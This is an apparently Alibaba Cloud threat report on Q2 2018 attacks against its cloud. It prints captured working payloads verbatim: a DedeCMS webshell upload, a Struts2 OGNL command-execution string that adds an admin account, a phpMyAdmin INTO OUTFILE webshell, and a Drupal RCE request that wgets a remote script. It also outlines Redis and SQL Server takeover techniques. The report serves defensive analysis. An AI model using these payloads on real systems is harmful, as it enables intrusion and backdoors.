阿里云Q2互联网威胁攻击分析报告

来自互联网的攻击无处不在,根据阿里云平台监测数据显示超过90%以上的网络攻击是由僵尸网络、木马蠕虫发起的自动化攻击,而针对特定目标的攻击只占1%。阿里云在云平台安全层实现了整体默认防御,在针对平台客户的任一攻击源被识别后,都会共享到全全局防御系统中。本报告针对2018年Q2期间的云平台攻防状况进行统计、研究和分析,同时给出服务攻击面、威胁地域分布、漏洞攻击趋势以及漏洞利用手段基础攻防态势报告。方便云租户结合自身业务系统的安全弱点,有针对性地修复漏洞和防御黑客,降低资产被入侵风险。

阿里云发现,Q2季度网络攻击事件以获取服务器权限为目标的批量自动化攻击为主要威胁,针对WEB服务的攻击仍居于首位,除此之外弱口令/未授权访问导致的数据库及主机沦陷值得关注。

1.攻击面统计

上图按攻击次数统计了互联网上主要的威胁分布,其中针对WEB服务的攻击以近半的数量成为首要攻击面。接下来依次是SMB、SSH/RDP、数据库服务。此这四种类型的攻击占到攻击流量总量的95%以上,该数据符合互联网服务特征——大量WEB和数据库服务。

2.攻击源地域统计

2.1 攻击源归属地统计

图中统计了网络攻击源IP的地址分布,其中大部分攻击源来自境内和东南亚国家,其次依次是巴西、俄罗斯、美国、埃及。

2.2 境内攻击源统计

境内攻击源所属省份Top 10:

境内攻击源所属城市Top 100:

图中展示了攻击源所属城市的前百名地域分布,其中北京、上海、杭州、深圳、南京、广州等城市占据主要地位。

3.CMS漏洞利用成为WEB攻击主要手段

在WEB攻击中,攻击者对WEB中间件及CMS漏洞的关注度(55.24%)略高于常规漏洞(44.76%),针对WEB-CMS定向漏洞的利用”抓鸡”(批量获取服务器权限)效率较高,多出自于扫描器的PoC探针以及活跃的僵尸网络,而通过WEB常规漏洞扫描发现漏洞的成本较高,大多来自定点安全测试。

3.1 常规漏洞扫描行为统计

我们对可识别的WEB扫描行为进行统计,发现从扫描器视角最关注的WEB服务端漏洞Top 5分别为——SQL注入、XSS、文件包含、代码执行以及命令执行,这些传统漏洞探针远多于越权、CMS爆破、撞库等”业务层”威胁,整体上的外部扫描器关注点仍在基础攻防——重突破、轻业务。

除此之外监控到大量模拟webshell通信的流量。其中包含已知webshell路径的探测、对webshell连接参数和密码的暴力破解、通过webshell下发任务、通过老webshell写入新webshell等情况。webshell作为从WEB服务穿透到系统内部的主要媒介,同时也是黑产团伙的重要资产,存在频繁更新、转手、黑吃黑的情况。

3.2 CMS漏洞利用行为统计

进一步分析WEB定向漏洞利用情况,探查黑客最感兴趣的WEB服务。

上图表达了网络攻击最频繁的20种WEB APP,下文将其中的重点漏洞并结合实例分析其发展趋势。

3.3 高危WEB系统威胁分析

3.3.1 必争之地——国产建站系统

从统计数字来看,黑客重点关照的CMS仍以国产建站系统为主——DedeCMS、ThinkPHP、KesionCMS、PHPCMS、ASPCMS、Discuz、Typecho、ECShop。这些系统大量应用于个人建站以及中小传统企业。因其安装量大、历史漏洞丰富、在野利用方法多、管理员安全意识不足等问题,国产建站系统的安全生态混沌不可名状,成为黑产必争之地。

攻击案例

DedeCMS是国内一款流行的PHP开源网站内容管理系统,历史上多次出现高危安全漏洞,如任意代码执行、密码修改等,因其安装量大而成为攻击者关注的焦点。

下面是一例DedeCMS V5.7 SP2后台文件上传漏洞的利用代码,攻击者通过URI中可控的content参数传入恶意代码,并将该代码存储到本地文件xt.lib.php,随后攻击者可以访问xt.lib.php来执行任意指令,完成对服务器的控制。

1
/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?php%20$s=create_function(%27%27,$_REQUEST[x]);$s();?%3E&filename=xt.lib.php

3.3.2 WEB漏洞”定时炸弹”——Struts

Struts作为Java WEB开发主流框架之一,在全球范围内安装量可观。近年来高危漏洞频发,每个新漏洞的出现都能获得广泛关注。由于其覆盖面广、漏洞利用难度极低等特点,被集成在各种botnet和黑客工具之中。

某批量抓鸡工具中集成的Struts漏洞:

攻击案例

某攻击源针对Struts漏洞的利用方法,通过HTTP请求头的Content-Type字段投递到目标主机。攻击者使用net user命令像系统添加用户,并将其增加到administrator组,为后续入侵行为留下后门账户。

1
%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user admin jxz123@# /ad&net localgroup administrators admin /ad').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

3.3.3 危险的中间件服务——phpMyAdmin

phpMyAdmin是一个以PHP语言实现的MySQL数据库管理工具,使管理者可通过Web页面运维MySQL数据库。针对该系统的大量入侵并不是因为其本身漏洞频发,而是拜另一款国内的建站软件所赐——phpStudy。

phpStudy是一款运行在windows环境下的php开发环境,集成了Apache/Nginx/MySQL/phpMyAdmin/ZendOptimizer等常用建站服务。其中自带的phpMyAdmin存在内置的弱口令,管理员在使用phpStudy部署网站时配置不当导致phpMyAdmin暴露到公网。黑客以默认口令登入,随后可执行SQL outfile语句向系统内植入webshell使服务器沦陷。

phpMyAdmin攻击源数量统计,从数据的波动中我们可以清晰的观察到攻守双方的博弈。

上图统计了6-8月针对phpMyAdmin发起攻击的IP数量变动趋势,这种利用方式由来已久,于今年7月末出现爆发(7.29-8.1时间段数字拉升),与同期发现的大规模webshell下发挖矿指令事件有较强关联,随后表现出较强的增长趋势。

攻击案例

下面为攻击者通过phpMyAdmin后台执行SQL代码功能上传webshell的案例。攻击者可以在后台输入SQL代码时,利用MySQL的outfile导出功能,将含有恶意PHP代码的字符串写入到指定位置(beimeng.php),从而完成webshell的植入。

1
2
3
POST /pmd/import.php   

sql_query=SELECT+'<?php+@eval($_POST[beimeng]);?>' INTO+OUTFILE++'D://UPUPW_AP5.3//htdocs//beimeng.php'

3.3.4 RCE新锐——Drupal

Drupal是一款在国外安装量较大的开源内容管理框架,曾在2017年3月爆发高危RCE漏洞。在沉寂了一年之后,Drupal官方于2018年3月底官方再次发出高危漏洞的修复通知,随后安全研究人员对漏洞成因进行了分析并释出漏洞利用代码,使Drupal再次成为黑产关注的焦点。

在Google Trends中我们可以查询到此次Drupal漏洞相关信息的搜索记录,该数据一定程度上反映了公众对Drupal漏洞的关注度。

其中两次搜索波峰分别代表了漏洞信息释出、漏洞利用代码(Exploit)传播的时间点。之后随着漏洞生命周期的推移,botnet逐渐完成漏洞集成与自动化利用、防御方进行漏洞修复与拦截策略收紧,该漏洞的关注度逐渐下降,同时攻击趋势趋于稳定。

漏洞时间线:

  1. 2018年3月28日,Drupal官方发布漏洞安全公告。
  2. 4月12-13日,国内外组织披露漏洞细节。
  3. 4月13日晚20点,阿里云态势感知捕获到该漏洞导致的云上首例入侵事件,并自动向用户推送告警。
  4. 4月24日,阿里云发布该漏洞与相关僵尸网络的调查报告。
  5. 4月22-28日,大量自动化漏洞利用脚本释出。

攻击案例

黑客通过Drupal命令执行漏洞向系统中写入webshell,其中恶意指令由HTTP报文中的mail参数传入,目标服务器通过执行wget指令,将位于http://www.elperdio.es/drupal.php的恶意脚本下载到本地,完成webshell植入。随后攻击者可以访问此webshell下发后续渗透指令。

1
2
3
/user/register?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax

form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=wget+http://www.elperdio.es/drupal.php

4.SMB蠕虫仍未消亡

SMB服务的攻击面以漏洞为主,臭名昭著的”永恒之蓝”漏洞自2017年4月漏洞出现以来,已经成为长期笼罩在互联网中的阴云。云环境也不例外,即使该漏洞在云上影响已经极为有限,但攻击者仍愿意将其置于武器库中。

4.1 攻击趋势

该图收集了5-8月针对SMB服务的攻击源IP,其变动趋势长期趋于稳定。此外在云环境中,我们发现有部分WannaCry及其变种正在通过共享镜像传播。使用者通过镜像创建实例时会受到病毒影响。

5. SSH/RDP暴力破解持续活跃

SSH与RDP服务为linux/windows两种主要服务器操作系统的远程管理入口,长期受到外部黑客以及僵尸网络的关注,其攻击面主要在弱口令,攻击方法为暴力破解。

5.1 高危用户名统计

统计结果表明root/administrator两个用户名占暴力破解的绝对大头,这两个用户名对各种linux/windows系统而言无疑覆盖面最广,对其进行弱口令尝试无疑性价比较高。

某蠕虫使用的暴力破解密码字典:

5.2 攻击者意图分析

在SSH/RDP全部的暴力破解攻击中,仅有1%是有针对性的对少量目标进行暴力破解,其余大多为僵尸网络或者抓鸡工具的批量性扫描行为,这表明绝大部分针对SSH/RDP攻击的意图为获取主机计算资源而非敏感数据。

6.失效的访问控制导致多种数据库服务沦陷

数据库服务攻击分布:

数据库服务的弱点主要在鉴权机制——弱口令、未授权访问。云环境传统关系型数据库使用率较高,因此针对数据库的攻击中MySQL和SQLSERVER占绝对主力,其主要攻击面为弱口令暴力破解,成功的入侵可以穿透到主机内部进行后续渗透手段。

6.1 MySQL/SQLSERVER攻击面分析

MySQL/SQLSERVER暴力破解攻击趋势:

图中统计了5-8月针对公有云MySQL/SQLSERVER进行暴力破解攻击的源IP数量变动。从数据来看,五月份攻击源缓慢增长,随后数据并无太大起伏。这意味着这项古老的攻防阵地——数据库暴力破解已经趋于稳定,相关僵尸网络在此期间也并无太大动作。

6.1.1 MySQL常见利用方法

黑客登入MySQL之后主要有两种利用手法:

  1. 黑客将准备好的UDF动态链接库编码为hex,并通过outfile/dumpfile语句降低植入到主机内部,随后在MySQL中调用这个UDF执行系统命令。
  2. 开启general_log功能,通过日志系统将select指令中携带的恶意信息存储到本地以影响系统内部其他服务,完成从数据库到主机的穿透。

6.1.2 SQLSERVER常见利用方法

SQLSERVER的利用方法非常丰富,黑客通过暴力破解接管SQLSERVER之后,可以通过xp_cmdshell,sp_addextendedproc,sp_oacreate,xp_regwrite,sp_add_job 等内置方法上传文件、执行命令或修改注册表,完成主机侧的提权、持久化和后渗透利用。

图为黑客暴力破解SQLSERVER成功之后执行的一系列攻击指令。

攻击者首先通过icacls指令还原FTP和CMD两个可执行文件的权限,然后通过taskkill指令强制终止了regsvr32/rundll32/cmd的执行,为后续攻击释放资源。随后通过regsvr32下载JS Script代码并借助activeX组件函数执行代码。此外该payload集合中还包含针对已知杀毒软件(如:360sd.exe)的对抗手段。

6.2 Redis攻击面分析

Redis服务攻击面主要为未授权访问和弱口令。

Redis未授权访问的利用方式公开已有数年之久,但黑客针对该漏洞的扫描从未停止。由于Redis默认无鉴权机制,管理员将其开放到公网之后,黑客可未经授权直接登入并执行一系列勒索、主机写文件行为。如果低版本的Redis以root权限运行,黑客还可进一步将内容写入系统的ssh-key或者crontab来轻松接管目标主机。同样由于部分Redis服务入侵难度太低,被多方发现后同样存在黑吃黑的行为。

6.2.1 Redis常见利用方法

黑客通过未授权访问或弱口令登录到Redis之后,可使用set命令将恶意内容写入数据库,然后通过config命令修改系统默认的导出文件路径和文件名,最终通过save命令将恶意内容写入到主机内部的指定位置。

常见的写入位置如下:

  1. crontab
  2. ssh/authorized_keys
  3. WEB目录

DDG蠕虫病毒中针对Redis的漏洞利用特征——将恶意代码写入主机crontab完成持久化与后渗透利用。

针对Redis服务的攻击趋势:

针对Redis服务的攻击频繁,总体趋势稳定。

此外,针对MongoDB、ActiveMQ、Memcached等服务的攻击由于安装量小而相对有限,其威胁主要集中在未授权访问、弱口令、RCE漏洞等方面。

7.总结

2018年Q2网络攻击活动主要表现为:

WEB攻击持续激增,对抗激烈

WEB服务作为互联网应用最广的服务,同样长期成为公有云威胁的主要受力点,攻击次数占据基础攻防的47%左右,这一阶段高危WEB漏洞与新的入侵方式频发,传统的国产CMS、Java反序列化、Struts命令执行以及新兴的Drupal、Hadoop、Joomla等服务成为众矢之的。这些漏洞迅速被僵尸网络以及抓鸡黑产集成到武器库中,并在互联网中传播。此外攻防双方的对抗逐渐升级,部分攻击者频繁更换IP以对抗用户的防御手段,导致7、8月攻击源IP数量增长32%。

访问控制失效成为服务器失陷主要原因

口令暴力破解以及未授权访问是互联网企业的第二大攻击面,同时也是造成服务沦陷的首要原因。这块古老的攻防阵地近年来攻击态势已经趋于稳定,但运营人员的疏忽和安全意识不足仍给了黑客可乘之机。在服务器端针对SSH、RDP两种登录入口的暴力破解从未停止,针对数据库的暴力破解以及后续的自动化主机穿透也已经成为黑客的必备手段。MySQL、SQLSERVER、Redis等服务的弱点已被黑客广泛关注。此外,针对WEB系统的前台弱口令利用也大量增长,主要表现为WordPress、phpMyAdmin、Tomcat等服务后台webshell上传。

以获取服务器资源为目标的批量入侵行为成为趋势

绝大部分攻击者希望高效、快速的获取”肉鸡”服务器权限,并通过下发脚本进行挖矿或DDoS牟利。其攻击行为表现为:以RCE为主的漏洞利用、暴力破解浅尝辄止、目标快速切换、利用链路高度自动化。从防御方角度来看,云环境攻击的批量化和行为一致性可作为重要的特征维度,赋能入侵检测与威胁情报。
未来,随着企业数字化转型的发展,互联网将承载越来越多的服务,安全问题和威胁对抗也会逐渐进入新的阶段,本报告展示的基础攻击面将随着不断出现的业务场景而日趋复杂。为提升互联网安全整体水平,阿里云致力于打造最安全的互联网基础设施,提供从平台基础设施到客户自身应用安全的全系列安全方案,实现低成本、强效果、无缝接入快速具备安全能力。